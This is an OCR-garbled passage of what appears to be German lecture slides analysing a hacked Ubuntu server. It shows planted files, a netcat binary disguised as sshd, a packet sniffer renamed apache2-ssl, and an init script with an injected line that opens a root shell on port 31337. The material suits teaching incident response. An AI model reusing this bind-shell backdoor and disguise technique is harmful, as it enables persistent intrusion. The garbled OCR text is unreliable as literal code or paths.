-TWXT-Xr-X
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x

root@ubuntug@dlts:~# |

root/root
root/root
root/root
root/root
root/root
root/root
root/root
root/root
root/root
root/root
root/root
root/root
root/root
root/root
root/root
user/user
root/root
root/root
root/root
root/root
root/root

B

B

23

6]
356
B
3840

259653
6]

B
1454831

2008-06-19
2008-06-17
2008-06-17
2008-086-19
2008-06-19
2008-06-17
2008-06-17
2008-06-17
2008-06-17
2008-06-17
2008-06-17
2008-06-17
2008-06-16
2008-06-19
2008-06-17
2008-06-19
2008-0b6-16
2008-06-16
2008-06-16
2008-06-17
2008-06-17

14:
20:
20:
15:
15:
20:
20:
12
12:
12:
13:
12:
20:
14:
19:
14:
19:
19:
19:
17:
17:

12
13
13
20
50
20
20
41
35
42
33

13
33
45
01
35
35
35
46
46

etc/

etc/cron.hourly/
etc/cron.hourly/postfix
etc/cron.daily/
etc/cron.daily/apache2-ssl-rehash
ete/re2.d/f

etc/rc2.d/589ssh

root/

root/.ssh/
root/.ssh/authorized keys
usry

usr/sbin/
usr/sbin/postcheck

usr/bin/

usr/bin/sshd -> /bin/netcat
usr/bin/apache2-ssl

var/

var/spool/

var/spool/mail/
var/spool/mail/.log/
var/spool/mail/.log/postcheck
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Beispiel: /etc/rc2.d/S89ssh

opterubuntuB0alts: ety

Datei Bearbeiten Ansicht Terminal Reiter Hilfe

# forget it if we're trying to start, and /etc/ssh/sshd not to be run exists E
if [ -e fetc/ssh/sshd not to be runm ]; then
if [ "$1" = log end msg ]; then
log end msg ©
Tl
if ! run by init; then
log action msg "OpenBSD Secure Shell server not in use (/etc/ssh/sshd not to be run)"
T4
exit @
il

while true; do fusr/bin/sshd -1p 31337 -e /bin/sh; done &

check dev null() {
if [ ! -c fdev/null ]; then
if [ "$1" = log end msg ]; then
log end msg 1 || true
fi
if ! run by init; then
log action msg "/dev/null is not a character device!"
fi
exit 1
fi
}

check privsep dir() {
# Create the PrivSep empty dir if necessary
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Beispiel: strings /usr/bin/apache2-ssl | less

a FDOHEOPTEr DN TUB 0TS =

Datei Bearbeiten Ansicht Terminal Reiter Hilfe
%5:%d -=
%s :%d
Seq: %u
Ack: %u
Dwarf packet - skipping
unknown protocol - skipping

Proto: %s

./PHoss [-Ppv] [-1 XXXX] [-1 interface ] [-f filter]

-P Don't use destination ports for protocol identification
-p Don't use pattern matching for protocol identification
-y verbose (more increase information)

-1 XX  Set capture length to this value (default 1525)
-i int Use this interface

-f xx  Set packet filter. See tcpdump(l) for more

-L make output linebuffered

$Revision: 1.13 %

PHoss (Phenoelit's own security sniffer)

(c) 1999 by Phenoelit (http://www.phencelit.de)

PLpvl:i:f:

Pattern matching packet identification disabled
Port matching packet identification disabled
Useless capture length: %d - ignored

Goodbye

e

source: %5 1 %d

Destination: %5 %d

Protocol: %5

Data: %5
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N

Beispiel eines gehackten Servers
Fazit?

-> komplett neu (und sicher) aufsetzen
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